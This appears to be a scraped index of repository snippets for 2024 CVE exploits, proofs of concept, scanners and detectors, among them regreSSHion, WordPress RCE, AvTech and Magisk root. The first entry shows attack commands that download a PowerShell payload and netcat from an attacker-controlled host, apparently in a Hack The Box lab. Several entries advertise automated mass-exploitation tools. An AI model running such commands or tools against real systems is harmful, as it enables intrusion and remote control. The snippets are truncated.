checkmk_cve-2024-0670

checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...

CVE-2024-38856-EXP

CVE-2024-38856-EXP root@kitploit: bash CVE-2024-23692.sh Nuclei root@kitploit: nuclei -list target.txt -t CVE-2024-23692.yaml -o CVE-2024-23692-result.txt or nuclei -id CVE-2024-23692 -o CVE-2024-23692-result.txt...

poc-cve-2024-38396

CVE-2024-38396 and CVE-2024-38395 This PoC can e used either via a docker run or simply cat. This repository contains the docker file for vin01/escape-seq-test:cve-2024-38396. The PoC simply opens a calculator on OS X. How to run: Example 1. cat simpler-poc-title-report-code-execution.txt Example...

CVE-2024-6205

CVE-2024-6205 pip install requests This is a python written PoC of a recent vulnerability in a wordpress plugin. More information on that here https://nvd.nist.gov/vuln/detail/CVE-2024-6205 https://cvefeed.io/vuln/detail/CVE-2024-6205...

MagiskEoP

Introduction This is an exploit for a vulnerability CVE-2024-48336 in Magisk app that allows a local app to silently gain root access without user consent. Vulnerability was initially reported by @vvb2060 and PoC-ed by @canyie. It has been fixed in Canary 27007. Demo video for exploit this...

CVE-2024-6387_Check

CVE-2024-6387Check 📜 Description CVE-2024-6387Check is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH, specifically targeting the recently discovered regreSSHion vulnerability CVE-2024-6387. This script facilitates rapid scanning of multiple IP...

CVE-2024-27956

Wordpress SQLI-2-RCE Exploit This Python script exploits CVE-2024-27956, a vulnerability in Wordpress that allows for SQL Injection leading to Remote Code Execution RCE. Features Multi-threaded Exploitation: Utilizes concurrent threads to exploit multiple Wordpress instances simultaneously. Dynam...

ssh_exploiter_CVE-2024-6387

sshexploiter CVE-2024-6387 with auto ip scanner and auto expliot OpenSSH Vulnerability Checker & Exploiter This Python script checks if servers are running vulnerable versions of OpenSSH and attempts exploitation if possible. Features SSH Version Detection : Retrieves SSH banner to determine the...

CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC

CVE-2024-38475SonicBoomApacheURLTraversalPoC Author: abrewer251 A proof-of-concept tool for testing CVE-2024-38475 "SonicBoom" Apache URL traversal vulnerability. This script automates TLS negotiation, directory scanning, traversal verification, and payload fuzzing to identify unauthorized file...

CVE-2024-38063

CVE-2024-38063 mitigation script by disabling ipv6 of all interfaces HOW TO Import the script like a module on a elevated Powershell run as admin . .\CVE-2024-38063 Use the functions Show-IPV6EnabledAdapters Show all adapters that have IPV6 enabled! root@kitploit: PS C:\users\public...

CVE-2024-3596-Detector

RADIUS Vulnerability Detector Limits of the Code: The code is aimed directly at detecting MD5 conflict. However, a more comprehensive analysis may be required to thoroughly test all aspects of CVE-2024-3596. This code can only detect attacks based on MD5 collision. Additional analysis may be...

CVE-2024-7029

EN GenAvTechRCEExploit A PoC exploit for the CVE-2024-7029 vulnerability found in AvTech devices, allowing Remote Code Execution RCE. This tool can scan for vulnerable devices and execute commands on them interactively. Features Vulnerability Detection : Check if AvTech devices are vulnerable to...

CVE-2024-6387-exploit

SSH Vulnerability Scanner The SSH Vulnerability Scanner is a Python script that uses Nmap to scan a list of domains for vulnerable SSH versions. It checks multiple ports for SSH services and identifies versions that are known to have security vulnerabilities. Features Scans multiple domains from ...

CVE-2024-4320

This repository does not have a README...

FreeRDP-Out-of-Bounds-Read-CVE-2024-32459-

FreeRDP-Out-of-Bounds-Read-CVE-2024-32459- The FreeRDP-Out-of-Bounds-Read-CVE-2024-32459 vulnerability is a security flaw discovered in FreeRDP, an open-source program used for implementing the Remote Desktop Protocol RDP This vulnerability arises from input processing weaknesses, allowing an...

SOC274-Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400

SOC274 - Palo Alto Networks PAN-OS Command Injection Lab Overview This repository contains supporting materials for the SOC274 lab exercise focusing on Palo Alto Networks PAN-OS Command Injection vulnerability. Lab Walkthrough For a detailed walkthrough of this Let's Defend SOC lab, please refer...

CVE-2024-4879

CVE-2024-4879 CVE-2024-4879.py is a Python script designed to detect specific vulnerabilities in ServiceNow instances and dump database connection details if the vulnerability is found. This tool is particularly useful for security researchers and penetration testers. Features Scans URLs for a...

CVE-2024-7029-EXPLOIT

CVE-2024-7029-EXPLOIT...

CVE-2024-1651-PoC

CVE-2024-1651 This CVE was discovered by Carlos Bello from the Fluid Attack Offensive Team. The finding discusses Insecure Object Deserialization to obtain RCE Remote Code Execution. Here, I have created a faster and easier-to-use PoC Proof of Concept. Therefore, if anyone wants to reproduce the...

regreSSHion-checker

regreSSHion-checker 📜 Description regreSSHion-checker is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH, specifically targeting the recently discovered regreSSHion vulnerability CVE-2024-6387. This tool facilitates rapid scanning of multiple IP...